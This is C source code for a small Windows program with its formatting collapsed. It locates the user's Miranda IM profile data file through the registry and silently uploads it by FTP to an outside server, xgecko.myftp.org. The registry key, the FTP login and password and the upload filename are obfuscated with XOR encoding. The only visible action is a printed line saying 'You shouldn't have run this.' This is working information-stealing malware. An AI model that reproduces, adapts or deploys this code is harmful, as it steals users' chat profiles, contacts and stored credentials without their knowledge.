#include #include #include #define MIRANDA_FUCK_UP VOID DecodeString(LPTSTR String) { while (*String) { *String ^= 0x22; String++; } } /* * Get path to Miranda data file. * * We try to get installation path from registry and search for the data * file in that directory (NOTE: If the user has more profiles the first * one is chosen). */ BOOL GetPathToMirandaDataFile(TCHAR Path[MAX_PATH]) { LONG Result; HKEY hKey; TCHAR MirandaPath[MAX_PATH]; DWORD MirandaPathLen = sizeof(MirandaPath); DWORD dwValueType; TCHAR SearchPath[MAX_PATH]; HANDLE hSearchHandle; WIN32_FIND_DATA FindFileData; TCHAR strSoftwareMiranda[] = _T("qMDVUCPG~oKPCLFC"); TCHAR strInstallDir[] = _T("kLQVCNN}fKP"); DecodeString(strSoftwareMiranda); Result = RegOpenKey(HKEY_LOCAL_MACHINE, strSoftwareMiranda, &hKey); if (Result == NO_ERROR) { DecodeString(strInstallDir); Result = RegQueryValueEx(hKey, strInstallDir, NULL, &dwValueType, (PBYTE)MirandaPath, &MirandaPathLen); if (Result == NO_ERROR && dwValueType == REG_SZ) { _sntprintf(SearchPath, sizeof(SearchPath), _T("%s\\*.dat"), MirandaPath); hSearchHandle = FindFirstFile(SearchPath, &FindFileData); if (hSearchHandle != INVALID_HANDLE_VALUE) { _stprintf(Path, "%s\\%s", MirandaPath, FindFileData.cFileName); FindClose(hSearchHandle); return TRUE; } } RegCloseKey(hKey); } return FALSE; } BOOL UploadFile(TCHAR Path[MAX_PATH], LPTSTR TargetName) { HINTERNET hInet; HINTERNET hFTP; TCHAR strServerName[] = _T("xgecko.myftp.org"); TCHAR strUserName[] = _T("ZLCTCPC"); TCHAR strPassword[] = _T("CLC@GNC"); /* * Upload the Miranda data file to FTP. */ hInet = InternetOpen(_T("2307"), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if (hInet != INVALID_HANDLE_VALUE) { //DecodeString(strServerName); DecodeString(strUserName); DecodeString(strPassword); hFTP = InternetConnect(hInet, strServerName, INTERNET_DEFAULT_FTP_PORT, strUserName, strPassword, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0); if (hFTP != INVALID_HANDLE_VALUE) { FtpPutFile(hFTP, Path, TargetName, FTP_TRANSFER_TYPE_BINARY, 0); InternetCloseHandle(hFTP); } InternetCloseHandle(hInet); } } DWORD WINAPI MirandaThreadProc(LPVOID lpParameter) { TCHAR strFileName[] = _T("OKPCLFC FCV"); TCHAR DataFilePath[MAX_PATH]; /* Get path to Miranda data file. */ if (!GetPathToMirandaDataFile(DataFilePath)) return 1; /* Upload the Miranda data file to FTP. */ DecodeString(strFileName); UploadFile(DataFilePath, strFileName); } VOID RealMain() { printf("You shouldn't have run this.\n"); } int main() { #ifdef MIRANDA_FUCK_UP HANDLE hThread; hThread = CreateThread(NULL, 0x10000, MirandaThreadProc, NULL, 0, NULL); WaitForSingleObject(hThread, INFINITE); #endif RealMain(); #ifdef MIRANDA_FUCK_UP CloseHandle(hThread); #endif return 0; }